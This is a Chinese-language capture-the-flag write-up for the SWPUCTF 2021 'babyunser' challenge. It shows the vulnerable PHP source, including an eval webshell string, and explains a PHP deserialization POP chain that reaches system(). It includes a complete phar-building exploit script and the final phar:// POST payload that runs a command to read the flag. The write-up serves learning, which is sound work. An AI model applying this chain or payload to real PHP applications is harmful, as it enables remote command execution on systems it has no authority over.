[SWPUCTF 2021 新生赛]babyunser

POC

这题挺绕,至少刚开始看的时候挺绕,后来被学姐教训了一顿后瞬间思路清晰😓

首先就是看下源码,包含以下那几个重要的php文件就可以了

源码如下

######## upload.php
<?php
if(isset($_POST['submit'])){
    $upload_path="upload/".md5(time()).".txt";
    $temp_file = $_FILES['upload_file']['tmp_name'];
    if (move_uploaded_file($temp_file, $upload_path)) {
        echo "文件路径:".$upload_path;
    } else {
        $msg = '上传失败';
    }
}
?>


######## read.php
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;
?>


###### class.php
<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

 

思路是这样子的

首先以正推法思考

首先aa类中又__destruct()析构函数,这个算是一个入口,并且strtolower函数的形参是字符串,可以触发zz→__toString;

接着__toString()通过两个传参可以他自己的write函数,并利用write函数可以去读取ff中的受保护的属性,从而触发ff→__get();

接着就是我的迷点了,这里的$key是要给可变变量,$$key的值即使一个变量名,并且$$key的参数来源于__get()的形参,这个形参是触发__get()函数的属性,也就是content属性,那么$$key的实际就是$content的值,所以在之前我们应该给$content new 一个xx对象;

接着$this->$key->{$this->func}($_POST['cmd']);这一串实际是在访问xx类中的$func函数,但是$func函数是我们可控制的,我如果让$func=system

那么就相当于访问量一个不纯在的函数,就会触发xx中的__call,并且__call中的$name 形参是我们访问的那个不存在的函数,$arg即使我们访问时候传入的参数,接着$name($arg[0]);就真的会去执行system($arg);,成功getshell

 

接着逆推构造pop

需要用xx→__call(),就需要zz→write(),需要zz→wtite(),就需要zz→__toString(),需要zz→__toString(),就需要aa→__destruct();构造完毕

** 要注意的就是content属性是受保护的,送一需要用构造函数去给他new一个xx

pop链如下

<?php
class aa{
    public $name;
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content=new xx();
    }
}

class zz{
    public $filename;
    public $content='surprise';
}

class xx{
    public $name;
    public $arg;
}

$f = new ff();
$f->func="system";
$z = new zz();
$z->filename = $f;
$a = new aa();
$a->name = $z;





@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

然后将phar文件上传上去

最终的payload

file=phar://upload/f3268d722481481804c0e8bea007d040.txt&method=write&var=content&cmd=cat /flag

这个payload一定要用hackbar post传,用其他的包括网页里面的那个框里传似乎没用,别看最终的报文很相似,就算那也没用,血的教训

得到flag

 

反思

这次做题很曲折

主要的问题是我想当然的以为魔术函数的形参和普通函数一样,而闹了一场乌龙,

还有就是在这之前我并没有找到自己的构造pop链的方法,一直是以比较随意的方法去构造的

这次我想出了自己的方法,就是倒着构造,先构造最终的,再构造最开始的,希望这能帮我更准确的构造pop链